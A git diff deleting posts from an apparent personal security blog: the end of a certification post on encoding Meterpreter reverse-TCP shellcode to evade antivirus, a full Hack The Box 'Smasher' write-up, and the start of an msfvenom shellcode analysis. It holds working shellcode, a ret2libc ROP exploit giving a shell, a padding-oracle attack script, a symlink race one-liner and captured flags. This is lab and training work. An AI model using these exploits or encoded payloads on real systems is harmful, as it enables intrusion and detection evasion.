\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x90 -[+] Encoded shellcode (len: 159): \x44\x75\x1a\x4e\x2e\x96\xc5\x75\x61\x4d\xcc\xce\xa6\x9f\x8f\xb4\x55\x3d\xd2\x04\x28\x73\xbf\xa8\xe5\xca\xc0\xdd\x66\xa2\xb1\xb1\xb3\xd9\x99\xf0\x11\x79\xac\xe1\x23\x73\x7b\x45\x49\x40\xa1\xc9\x17\x11\xdf\x5a\x5f\x12\x9c\x4b\x05\x52\x32\x8b\xa9\x0b\xc1\x94\xdd\x0a\x52\x0a\x0a\x0a\xb7\xb2\xdd\xb7\xdd\x07\xce\x36\xe4\x8e\xf6\x36\x73\x76\x3b\x45\x62\xae\xf8\x3c\x24\x24\x9d\x23\x96\x9c\x15\x9c\x9c\x8c\xf7\xfb\x1c\x36\x14\x38\x88\x34\xdb\xf9\xcf\x4a\x4f\x02\xb2\x72\x29\x62\x0a\xb2\x88\x3e\x11\x69\x01\x3b\xf6\x38\x8b\x37\x8c\xf4\x4c\x09\x0c\x35\x8d\xd4\xca\x37\xa9\xa9\xa9\xa9\xa8\x65\x65\x65\x64\xde\x9b\x0b\x1b\x56\x9b\x90\x90\xaa\xaa -[+] Encoded shell in NASM format: 0x44,0x75,0x1a,0x4e,0x2e,0x96,0xc5,0x75,0x61,0x4d,0xcc,0xce,0xa6,0x9f,0x8f,0xb4,0x55,0x3d,0xd2,0x04,0x28,0x73,0xbf,0xa8,0xe5,0xca,0xc0,0xdd,0x66,0xa2,0xb1,0xb1,0xb3,0xd9,0x99,0xf0,0x11,0x79,0xac,0xe1,0x23,0x73,0x7b,0x45,0x49,0x40,0xa1,0xc9,0x17,0x11,0xdf,0x5a,0x5f,0x12,0x9c,0x4b,0x05,0x52,0x32,0x8b,0xa9,0x0b,0xc1,0x94,0xdd,0x0a,0x52,0x0a,0x0a,0x0a,0xb7,0xb2,0xdd,0xb7,0xdd,0x07,0xce,0x36,0xe4,0x8e,0xf6,0x36,0x73,0x76,0x3b,0x45,0x62,0xae,0xf8,0x3c,0x24,0x24,0x9d,0x23,0x96,0x9c,0x15,0x9c,0x9c,0x8c,0xf7,0xfb,0x1c,0x36,0x14,0x38,0x88,0x34,0xdb,0xf9,0xcf,0x4a,0x4f,0x02,0xb2,0x72,0x29,0x62,0x0a,0xb2,0x88,0x3e,0x11,0x69,0x01,0x3b,0xf6,0x38,0x8b,0x37,0x8c,0xf4,0x4c,0x09,0x0c,0x35,0x8d,0xd4,0xca,0x37,0xa9,0xa9,0xa9,0xa9,0xa8,0x65,0x65,0x65,0x64,0xde,0x9b,0x0b,0x1b,0x56,0x9b,0x90,0x90,0xaa,0xaa -``` - -The shellcode is added to the decoder stub assembly file, compiled and linked: - -``` -slemire@slae:~/slae32/assignment4$ ../compile.sh stub_decoder -[+] Assembling with Nasm ... -[+] Linking ... -[+] Shellcode: \xeb\x57\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x5e\xbf\x90\x90\xaa\xaa\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x8a\x5c\x16\x01\x8a\x7c\x16\x02\x8a\x4c\x16\x03\x8a\x6c\x16\x04\x32\x1c\x16\x32\x3c\x16\x32\x0c\x16\x32\x2c\x16\x88\x2c\x04\x88\x4c\x04\x01\x88\x7c\x04\x02\x88\x5c\x04\x03\x39\x7c\x16\x05\x74\x0a\x42\x42\x42\x42\x42\x83\xc0\x04\x75\xc5\xff\xe4\xe8\xa4\xff\xff\xff\x44\x75\x1a\x4e\x2e\x96\xc5\x75\x61\x4d\xcc\xce\xa6\x9f\x8f\xb4\x55\x3d\xd2\x04\x28\x73\xbf\xa8\xe5\xca\xc0\xdd\x66\xa2\xb1\xb1\xb3\xd9\x99\xf0\x11\x79\xac\xe1\x23\x73\x7b\x45\x49\x40\xa1\xc9\x17\x11\xdf\x5a\x5f\x12\x9c\x4b\x05\x52\x32\xa9\x0b\xc1\x94\xdd\x0a\x52\x0a\x0a\x0a\xb7\xb2\xdd\xb7\xdd\x07\xce\x36\xe4\x8e\xf6\x36\x73\x76\x3b\x45\x62\xae\xf8\x3c\x24\x24\x9d\x23\x96\x9c\x15\x9c\x9c\x8c\xf7\xfb\x1c\x36\x14\x38\x88\x34\xdb\xf9\xcf\x4a\x4f\x02\xb2\x72\x29\x62\x0a\xb2\x88\x3e\x11\x69\x01\x3b\xf6\x38\x8b\x37\x8c\xf4\x4c\x09\x0c\x35\x8d\xd4\xca\xa9\xa9\xa9\xa9\xa8\x65\x65\x65\x64\xde\x9b\x1b\x56\x9b\x90\x90\xaa\xaa -[+] Length: 250 -[+] Done! -``` - -Veryfing that the shellcode still works... - -``` -msf exploit(multi/handler) > run - -[*] Started reverse TCP handler on 172.23.10.40:4444 -[*] Sending stage (861480 bytes) to 172.23.10.37 -[*] Meterpreter session 3 opened (127.0.0.1 -> 127.0.0.1) at 2018-11-22 08:16:09 -0500 -``` - -The file is not picked up by Virus Total anymore: - -![](/assets/images/custom-encoder/msfpayload_encoded.png) - -Automating the creation of the shellcode ----------------------------------------- - -We don't need to manually add the encoded shellcode to the `.asm` file every time and re-compile from NASM. The python script has been modified to automatically prepend the decoder stub to the output shellcode so we can just use this in the test C program. - -``` -slemire@slae:~/slae32/assignment4$ ./encoder.py msf_met_reversetcp.txt -[+] Shellcode not 4 bytes aligned, adding 1 \x90 bytes of padding... -[+] Original shellcode (len: 124): \x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x90 - -[+] Encoded shellcode (len: 159): \x45\x74\x1b\x4f\x2f\x45\x16\xa6\xb2\x9e\x93\x91\xf9\xc0\xd0\x22\xc3\xab\x44\x92\xcf\x94\x58\x4f\x02\x94\x9e\x83\x38\xfc\x7c\x7c\x7e\x14\x54\x3a\xdb\xb3\x66\x2b\xd5\x85\x8d\xb3\xbf\xb6\x57\x3f\xe1\xe7\x39\xbc\xb9\xf4\x7a\x2f\x61\x36\x56\xef\x4f\xed\x27\x72\x3b\x9c\xc4\x9c\x9c\x9c\x5c\x59\x36\x5c\x36\x70\xb9\x41\x93\xf9\x17\xd7\x92\x97\xda\x95\xb2\x7e\x28\xec\x77\x77\xce\x70\xc5\xd3\x5a\xd3\xd3\xc3\x14\x18\xff\xd5\xf7\x7e\xce\x72\x9d\xbf\xe4\x61\x64\x29\x99\x67\x3c\x77\x1f\xa7\xa0\x16\x39\x41\x29\xf7\x3a\xf4\x47\xfb\x5c\x24\x9c\xd9\xdc\x3d\x85\xdc\xc2\x3f\x51\x51\x51\x51\x50\x77\x77\x77\x76\xcc\x6f\xff\xef\xa2\x6f\x90\x90\xaa\xaa - -[+] Encoded shell in NASM format: 0x45,0x74,0x1b,0x4f,0x2f,0x45,0x16,0xa6,0xb2,0x9e,0x93,0x91,0xf9,0xc0,0xd0,0x22,0xc3,0xab,0x44,0x92,0xcf,0x94,0x58,0x4f,0x02,0x94,0x9e,0x83,0x38,0xfc,0x7c,0x7c,0x7e,0x14,0x54,0x3a,0xdb,0xb3,0x66,0x2b,0xd5,0x85,0x8d,0xb3,0xbf,0xb6,0x57,0x3f,0xe1,0xe7,0x39,0xbc,0xb9,0xf4,0x7a,0x2f,0x61,0x36,0x56,0xef,0x4f,0xed,0x27,0x72,0x3b,0x9c,0xc4,0x9c,0x9c,0x9c,0x5c,0x59,0x36,0x5c,0x36,0x70,0xb9,0x41,0x93,0xf9,0x17,0xd7,0x92,0x97,0xda,0x95,0xb2,0x7e,0x28,0xec,0x77,0x77,0xce,0x70,0xc5,0xd3,0x5a,0xd3,0xd3,0xc3,0x14,0x18,0xff,0xd5,0xf7,0x7e,0xce,0x72,0x9d,0xbf,0xe4,0x61,0x64,0x29,0x99,0x67,0x3c,0x77,0x1f,0xa7,0xa0,0x16,0x39,0x41,0x29,0xf7,0x3a,0xf4,0x47,0xfb,0x5c,0x24,0x9c,0xd9,0xdc,0x3d,0x85,0xdc,0xc2,0x3f,0x51,0x51,0x51,0x51,0x50,0x77,0x77,0x77,0x76,0xcc,0x6f,0xff,0xef,0xa2,0x6f,0x90,0x90,0xaa,0xaa - -[+] Encoded shellcode /w decoder stub (len: 253): \xeb\x57\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x5e\xbf\x90\x90\xaa\xaa\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x8a\x5c\x16\x1\x8a\x7c\x16\x2\x8a\x4c\x16\x3\x8a\x6c\x16\x4\x32\x1c\x16\x32\x3c\x16\x32\xc\x16\x32\x2c\x16\x88\x2c\x4\x88\x4c\x4\x1\x88\x7c\x4\x2\x88\x5c\x4\x3\x39\x7c\x16\x5\x74\xa\x42\x42\x42\x42\x42\x83\xc0\x4\x75\xc5\xff\xe4\xe8\xa4\xff\xff\xff\x45\x74\x1b\x4f\x2f\x45\x16\xa6\xb2\x9e\x93\x91\xf9\xc0\xd0\x22\xc3\xab\x44\x92\xcf\x94\x58\x4f\x02\x94\x9e\x83\x38\xfc\x7c\x7c\x7e\x14\x54\x3a\xdb\xb3\x66\x2b\xd5\x85\x8d\xb3\xbf\xb6\x57\x3f\xe1\xe7\x39\xbc\xb9\xf4\x7a\x2f\x61\x36\x56\xef\x4f\xed\x27\x72\x3b\x9c\xc4\x9c\x9c\x9c\x5c\x59\x36\x5c\x36\x70\xb9\x41\x93\xf9\x17\xd7\x92\x97\xda\x95\xb2\x7e\x28\xec\x77\x77\xce\x70\xc5\xd3\x5a\xd3\xd3\xc3\x14\x18\xff\xd5\xf7\x7e\xce\x72\x9d\xbf\xe4\x61\x64\x29\x99\x67\x3c\x77\x1f\xa7\xa0\x16\x39\x41\x29\xf7\x3a\xf4\x47\xfb\x5c\x24\x9c\xd9\xdc\x3d\x85\xdc\xc2\x3f\x51\x51\x51\x51\x50\x77\x77\x77\x76\xcc\x6f\xff\xef\xa2\x6f\x90\x90\xaa\xaa -``` - -This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: - -[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) - -Student ID: SLAE-1236 - -All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32) \ No newline at end of file diff --git a/_posts/2018-11-24-htb-writeup-smasher.md b/_posts/2018-11-24-htb-writeup-smasher.md deleted file mode 100644 index 1f3f21d0c2..0000000000 --- a/_posts/2018-11-24-htb-writeup-smasher.md +++ /dev/null @@ -1,496 +0,0 @@ ---- -layout: single -title: Smasher - Hack The Box -date: 2018-11-24 -classes: wide -header: - teaser: /assets/images/htb-writeup-smasher/smasher.png -categories: - - hackthebox - - infosec -tags: - - hackthebox - - binary exploit ---- - -## Linux / 10.10.10.89 - -![](/assets/images/htb-writeup-smasher/smasher.png) - -This blog post is a writeup of the excellent Hack the Box machine created by dzonerzy. - -### Summary - -- The webserver used is vulnerable to a path traversal bug and buffer overflow in the GET parameter -- By using the path traversal bug we can get the Makefile and copy of the webserver executable -- The buffer overflow can be solved by leaking libc's base address and then building a ropchain to ret2libc -- To gain user, we have to solve an Oracle padding challenge that gives us the user password -- Priv esc is a race condition in a suid root ELF binary, we can swap out the file with a symlink to /root/root.txt to get the root flag - -### Tools used - -- pwntools -- [https://libc.blukat.me/](https://libc.blukat.me/) -- [https://github.com/twd2/padding-oracle-attack/blob/master/attack.py](https://github.com/twd2/padding-oracle-attack/blob/master/attack.py) - -### Nmap - -Quick port scan reveals a webserver running on a non standard port 1111. - -``` -root@kali:~/hackthebox# nmap -sC -sV 10.10.10.89 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-11 20:09 EDT -Nmap scan report for 10.10.10.89 -Host is up (0.017s latency). -Not shown: 998 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 a6:23:c5:7b:f1:1f:df:68:25:dd:3a:2b:c5:74:00:46 (RSA) -| 256 57:81:a5:46:11:33:27:53:2b:99:29:9a:a8:f3:8e:de (ECDSA) -|_ 256 c5:23:c1:7a:96:d6:5b:c0:c4:a5:f8:37:2e:5d:ce:a0 (ED25519) -1111/tcp open lmsocialserver? -| fingerprint-strings: -| FourOhFourRequest, GenericLines, SIPOptions: -| HTTP/1.1 404 Not found -| Server: shenfeng tiny-web-server -| Content-length: 14 -| File not found -| GetRequest, HTTPOptions, RTSPRequest: -| HTTP/1.1 200 OK -| Server: shenfeng tiny-web-server -| Content-Type: text/html -| -| -|_
index.html2018-03-31 00:572.1K
-``` - -### Web service - -Based on the banner, we know the website is running using the [tiny-web-server](https://github.com/shenfeng/tiny-web-server) server application. - -There's already an [issue](https://github.com/shenfeng/tiny-web-server/issues/2) documented for this application about a path traversal vulnerability. - -We can walk the file system by doing a `GET ../../../../`, and it also works for directories so we can get a directory listing. - -I wrote a small python script to fix the output and sort the results to make it easier to work with: - -```python -#!/usr/bin/python - -from pwn import * -import sys -import requests - -context.log_level = 'info' - -ls = [] - -r = requests.get('http://10.10.10.89:1111/../../../../../%s' % (sys.argv[1])) -if '' in r.text: - for line in r.text.splitlines(): - if '' in line: - # print(line.split('"')[1]) - ls.append(line.split('"')[1]) - for i in (sorted(ls)): - print(i) -else: - print r.text -``` - -We find the list of users in `/etc/passwd` - -``` -root@kali:~/hackthebox/Machines/Smasher# python scanner.py /etc/passwd -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin -sys:x:3:3:sys:/dev:/usr/sbin/nologin -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/usr/sbin/nologin -man:x:6:12:man:/var/cache/man:/usr/sbin/nologin -lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin -mail:x:8:8:mail:/var/mail:/usr/sbin/nologin -news:x:9:9:news:/var/spool/news:/usr/sbin/nologin -uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin -proxy:x:13:13:proxy:/bin:/usr/sbin/nologin -www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin -backup:x:34:34:backup:/var/backups:/usr/sbin/nologin -list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin -irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin -gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin -nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false -systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false -systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false -systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false -syslog:x:104:108::/home/syslog:/bin/false -_apt:x:105:65534::/nonexistent:/bin/false -messagebus:x:106:110::/var/run/dbus:/bin/false -uuidd:x:107:111::/run/uuidd:/bin/false -sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin -www:x:1000:1000:www,,,:/home/www:/bin/bash -smasher:x:1001:1001:,,,:/home/smasher:/bin/bash -``` - -`www` and `smasher` home directories are probably where we want to look next: - -We can't read the home directory of `smasher`: - -``` -root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/smasher -File not found -``` - -But we can read what's in `www`: - -``` -root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www -.bash_logout -.bashrc -.cache/ -.profile -.python_history -.ssh/ -restart.sh -tiny-web-server/ -``` - -Inside the web server directory, we can see that the Makefile has been modified to disable the stack protector and DEP/NX. This is our hint that we are probably looking at a buffer overflow exploit to get user access on this machine. - -``` -root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www/tiny-web-server -.git/ -Makefile -README.md -public_html/ -tiny -tiny.c - -root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www/tiny-web-server/Makefile -CC = c99 -CFLAGS = -Wall -O2 - -# LIB = -lpthread - -all: tiny - -tiny: tiny.c - $(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB) - -clean: - rm -f *.o tiny *~ -``` - -Next, we'll grab the binary file and check if it's compiled with additional protections: - -``` -oot@kali:~/hackthebox/Machines/Smasher# nc -nv 10.10.10.89 1111 > tiny -(UNKNOWN) [10.10.10.89] 1111 (?) open -GET ../../../../home/www/tiny-web-server/tiny -``` - -We edit the file with vi and strip the HTTP headers, then we get a clean ELF file: - -``` -root@kali:~/hackthebox/Machines/Smasher# file tiny -tiny: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b872377623aa9e081bc7d72c8dbe882f03bf66b7, with debug_info, not stripped - -root@kali:~/hackthebox/Machines/Smasher# checksec tiny -[*] '/root/hackthebox/Machines/Smasher/tiny' - Arch: amd64-64-little - RELRO: Partial RELRO - Stack: No canary found - NX: NX disabled - PIE: No PIE - FORTIFY: Enabled -``` - -### Buffer overflow - -There's an overflow in the GET parameter: if we send more than 568 characters in the GET request it'll crash. Because we have the binary and we can look around the file system we can: - -- Check the PLT/GOT offsets in the binary -- Determine the libc version running on the target system - -To find the libc base address, we'll construct a rop chain and use the `read` function already present in the PLT. By chance, the `RDX` register is already set to a large value so we don't need to find a gadget to mess with it. The binary contains `POP RDI` and `POP RSI` gadgets so we can pass the right parameters to the `read` function and dump a chunk of memory. - -Calculating the libc address is a matter of fetching the `read` address from the GOT, then substracting its offset (which we know because we have the libc version). After, we'll calculate the memory address for `system`, `dup2` and the `/bin/sh` string. - -We need to build a ROP chain that calls `dup2` first so we can redirect stdin and stdout to the socket. - -The final exploit is: - -```python -#!/usr/bin/python - -from pwn import * - -import urllib -import sys - -r = remote('10.10.10.89', 1111) - -fd = 4 -offset = 568 -junk = p64(0xAABBAABBAABBAABB) - -plt_read = p64(0x400cf0) -plt_write = p64(0x400c50) -poprdi = p64(0x4011dd) -poprsi = p64(0x4011db) - -payload_stage1 = '' -payload_stage1 += 'A' * offset -payload_stage1 += poprdi + p64(fd) -payload_stage1 += poprsi + p64(0x603088) + junk -payload_stage1 += plt_write - -r.send('GET /%s\n\n' % urllib.quote(payload_stage1)) -buf = r.recv().split('File not found')[1][0:8] -read_addr = u64(buf) -libc_base = read_addr - 0xf7250 # https://libc.blukat.me/?q=_rtld_global%3A0&l=libc6_2.23-0ubuntu10_amd64 -system_addr = libc_base + 0x45390 -str_bin_sh = libc_base + 0x18cd57 -dup2 = libc_base + 0xf7970 - -log.info('libc base address is: %s' % hex(libc_base)) -log.info('read address is : %s' % hex(read_addr)) -log.info('system address is: %s' % hex(system_addr)) -log.info('dup2 address is: %s' % hex(dup2)) -log.info('/bin/sh address is: %s' % hex(str_bin_sh)) - -r2 = remote('10.10.10.89', 1111) -payload_stage2 = '' -payload_stage2 += 'A' * offset -payload_stage2 += poprdi + p64(fd) -payload_stage2 += poprsi + p64(0x0) + junk -payload_stage2 += p64(dup2) -payload_stage2 += poprdi + p64(fd) -payload_stage2 += poprsi + p64(0x1) + junk -payload_stage2 += p64(dup2) -payload_stage2 += poprdi + p64(str_bin_sh) -payload_stage2 += p64(system_addr) - -r2.send('GET /%s\n\n' % urllib.quote(payload_stage2)) -r2.recvuntil('File not found') -r2.interactive() -``` - -The exploit in action: - -``` -root@kali:~/hackthebox/Machines/Smasher# python exploit.py -[+] Opening connection to 10.10.10.89 on port 1111: Done -[*] libc base address is: 0x7f561f10e000 -[*] read address is : 0x7f561f205250 -[*] system address is: 0x7f561f153390 -[*] dup2 address is: 0x7f561f205970 -[*] /bin/sh address is: 0x7f561f29ad57 -[+] Opening connection to 10.10.10.89 on port 1111: Done -[*] Switching to interactive mode -$ id -uid=1000(www) gid=1000(www) groups=1000(www) -``` - -After getting that shell, we can add our SSH public key to `/home/www/.ssh/authorized_keys` so we can log in directly without using the exploit. - -``` -root@kali:~# ssh www@10.10.10.89 -Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage -Last login: Tue Jun 12 01:34:47 2018 from 10.10.14.23 -``` -### Oracle padding - -There's a hidden service runnning on port 1337 which prompts for a ciphertext string: - -``` -www@smasher:~$ netstat -panut |more -(Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) -Active Internet connections (servers and established) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 0.0.0.0:1111 0.0.0.0:* LISTEN 29166/tiny -tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN - -tcp 0 0 0.0.0.0:1338 0.0.0.0:* LISTEN 8562/socat -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - -``` - -``` -www@smasher:~$ nc 127.0.0.1 1337 -[*] Welcome to AES Checker! (type 'exit' to quit) -[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg== -Insert ciphertext: test -Generic error, ignore me! -``` - -This looks like a challenge which can be solved through an Oracle Padding attack. - -To solve this we'll modify the following script: [https://github.com/twd2/padding-oracle-attack/blob/master/attack.py](https://github.com/twd2/padding-oracle-attack/blob/master/attack.py) - -Note: latest version of pwntools needs to be installed for Python3 in order for this to work: `pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git` - -```python -import sys -import time -import urllib -import urllib.parse -import urllib.request -import random -import argparse -import binascii -from pwn import * -import base64 - -def api(data): - print(data) - r = remote("10.10.10.89",1338,level='warn') - r.recvuntil("Insert ciphertext: ") - - r.sendline(base64.b64encode(binascii.unhexlify(data))) - print(base64.b64encode(binascii.unhexlify(data))) - tmp = r.recvuntil('Insert ciphertext:').decode("utf-8") - r.close() - if 'OK!' in tmp: - return True - if 'Invalid' in tmp: - return False - - -def is_valid(iv, c): - # Test if the padding of (iv ^ c^(-1)) is valid. - data = binascii.hexlify(bytearray(iv)).decode() + binascii.hexlify(bytearray(c)).decode() - # print(data) - return api(data) - -def attack(data, block_id, is_valid): - if 16 * block_id + 32 > len(data): - print('Block id is too large.') - exit(1) - c_p = list(data[16 * block_id:16 * block_id + 16]) # Previous cipher block - iv = [random.choice(range(256)) for i in range(0, 16)] # *Random* initialization vector is necessary. - c = data[16 * block_id + 16:16 * block_id + 32] # Current cipher block - - plain = [] - for n in range(1, 17): # Which byte (in reverse order)? - for i in range(0, 256): # All possibilities of iv[-n] - iv[-n] = i - if is_valid(iv, c): # Padding is valid, so (iv[-n] ^ c^(-1)[-n]) is n, (iv[-n] ^ n) is c^(-1)[-n]. - break - # print(iv[-n] ^ n ^ c_p[-n], chr(iv[-n] ^ n ^ c_p[-n])) - # Calculate plain text. - # Note: (iv[-n] ^ n) is c^(-1)[-n], so ((iv[-n] ^ n) ^ c_p[-n]) == (c^(-1)[-n] ^ c_p[-n]) is (plain text)[-n]. - plain.append(iv[-n] ^ n ^ c_p[-n]) - for i in range(1, n + 1): - iv[-i] = iv[-i] ^ n ^ (n + 1) - # Note: - # For futher attack, - # For i in [1, n], we want (new iv[-i] ^ c^(-1)[-i]) to be (n + 1), so that we can attack c^(-1)[-(n + 1)] using padding oracle. - # In particular, for i == n, we want (new iv[-n] ^ c^(-1)[-n]) to be (n + 1), so new iv[-n] should be (c^(-1)[-n] ^ (n + 1)) == ((iv[-n] ^ n) ^ (n + 1)). - # In particular, for i in [1, n - 1], we want (new iv[-i] ^ c^(-1)[-i]) to be (n + 1). Please note that (iv[-i] ^ c^(-1)[-i]) is n, so new iv[-i] should be (c^(-1)[-i] ^ (n + 1)) == ((iv[-i] ^ n) ^ (n + 1)) - plain.reverse() - return bytearray(plain) - -def main(): - # Data from http://10.60.0.212:5757/generate - #data_hex = '74b6510402f53b1661b98a2cfee1f1b5d65753e5ca0ccb1356c0ef871a0118bc47c245dcb51dc51efd473e5f63f3a8c94818195d08d01e740f27d07b0893d0cd' - data_hex = '8ab466581ee825231bb410b842ea01d770c2d3c348d3a31b71610e73de2ad0e5cf6df8119be97dc4790f43bafb35d163a3a852a3ab6882a2d8213186a4fb1776' - data = binascii.unhexlify(data_hex) - for i in range(0, 3): - print(attack(data, i, is_valid).decode(), end='') - -if __name__ == '__main__': - main() -``` - -We can redirect to the local 1337 port using socat: `socat tcp-listen:1338,reuseaddr,fork tcp:localhost:1337` - -Then we'll launch the script against port 1338 and let it run for a bit: - -``` -python3 oracler.py > oracler_output.txt -``` - -A few lines stand out in the output: - -``` -b'utEFLXzYEkBmxXPAN4g253DC08NI06MbcWEOc94q0OU=' - user 'smasher' 42eb200bed0f389985bbe43762f1ba00cf6df8119be97dc4790f43bafb35d163 -``` - -``` -b'CaH58wii128IH3ksvFujmc9t+BGb6X3EeQ9Duvs10WM=' -is: PaddingOraclde1ffb8adbdc35ac24caa42050f32100a3a852a3ab6882a2d8213186a4fb1776 -``` - -``` -b'ujCJcv+cH+VbLFWs7SPHdaOoUqOraIKi2CExhqT7F3Y=' -eMaster123\x06\x06\x06\x06\x06\x06r -``` - -By putting this back together we get: `user 'smasher' is: PaddingOracleMaster123` - -We can log in with that user and get the first flag: - -``` -root@kali:~# ssh smasher@10.10.10.89 -smasher@10.10.10.89's password: -Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage -Last login: Tue Jun 12 01:24:51 2018 from 10.10.16.9 -smasher@smasher:~$ id -uid=1001(smasher) gid=1001(smasher) groups=1001(smasher) -smasher@smasher:~$ ls -crackme.py socat.sh user.txt - -smasher@smasher:~$ cat user.txt -baabc -``` - -### Privesc - -There's a SUID file that's interesting: - -``` -smasher@smasher:~$ find / -perm /6000 2>/dev/null -/usr/bin/checker -``` - -``` -smasher@smasher:~$ checker -[+] Welcome to file UID checker 0.1 by dzonerzy - -Missing arguments -``` - -``` -smasher@smasher:~$ file /usr/bin/checker -/usr/bin/checker: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=33890d7446199d25dadc438fce63a78c3f377f95, not stripped -``` - -There's a race condition in the file because it sleeps for 1 second before reading the file content, so we can exploit this by: - -1. Creating a dummy file 'blah' with some junk it -2. Launch /usr/bin/checker against 'blah', then sleep for 0.5 seconds -3. Delete 'blah' and replace it with a symlink to /root/root.txt -4. After the programs comes out of the sleep() function, it'll read root.txt because it's running as root - -``` -smasher@smasher:~$ rm blah;echo 123 > blah;(/usr/bin/checker blah &);sleep 0.5;rm blah;ln -s /root/root.txt blah -rm: cannot remove 'blah': No such file or directory -[+] Welcome to file UID checker 0.1 by dzonerzy - -smasher@smasher:~$ File UID: 1001 - -Data: -077af -``` - -Flag: `077af` \ No newline at end of file diff --git a/_posts/2018-11-29-msfvenom-shellcode-analysis.md b/_posts/2018-11-29-msfvenom-shellcode-analysis.md deleted file mode 100644 index 28e7fc2db6..0000000000 --- a/_posts/2018-11-29-msfvenom-shellcode-analysis.md +++ /dev/null @@ -1,575 +0,0 @@ ---- -layout: single -title: Msfvenom shellcode analysis -date: 2018-11-29 -classes: wide -header: - teaser: /assets/images/slae32.png -categories: - - slae - - infosec -tags: - - slae - - assembly - - encoding ---- - -This blog post provides an analysis of various common shellcodes generated by the `msfvenom` utility which is part of Metasploit. - -- [# Shellcode analysis #1: linux/x86/exec](#shellcode-analysis-1-linuxx86exec) -- [Stepping through the shellcode](#stepping-through-the-shellcode) -- [# Shellcode analysis #2: linux/x86/shell_reverse_tcp](#shellcode-analysis-2-linuxx86shellreversetcp) -- [Stepping through the shellcode](#stepping-through-the-shellcode-1) -- [# Shellcode analysis #3: linux/x86/adduser](#shellcode-analysis-3-linuxx86adduser) -- [Stepping through the shellcode](#stepping-through-the-shellcode-2) - -# Shellcode analysis #1: linux/x86/exec 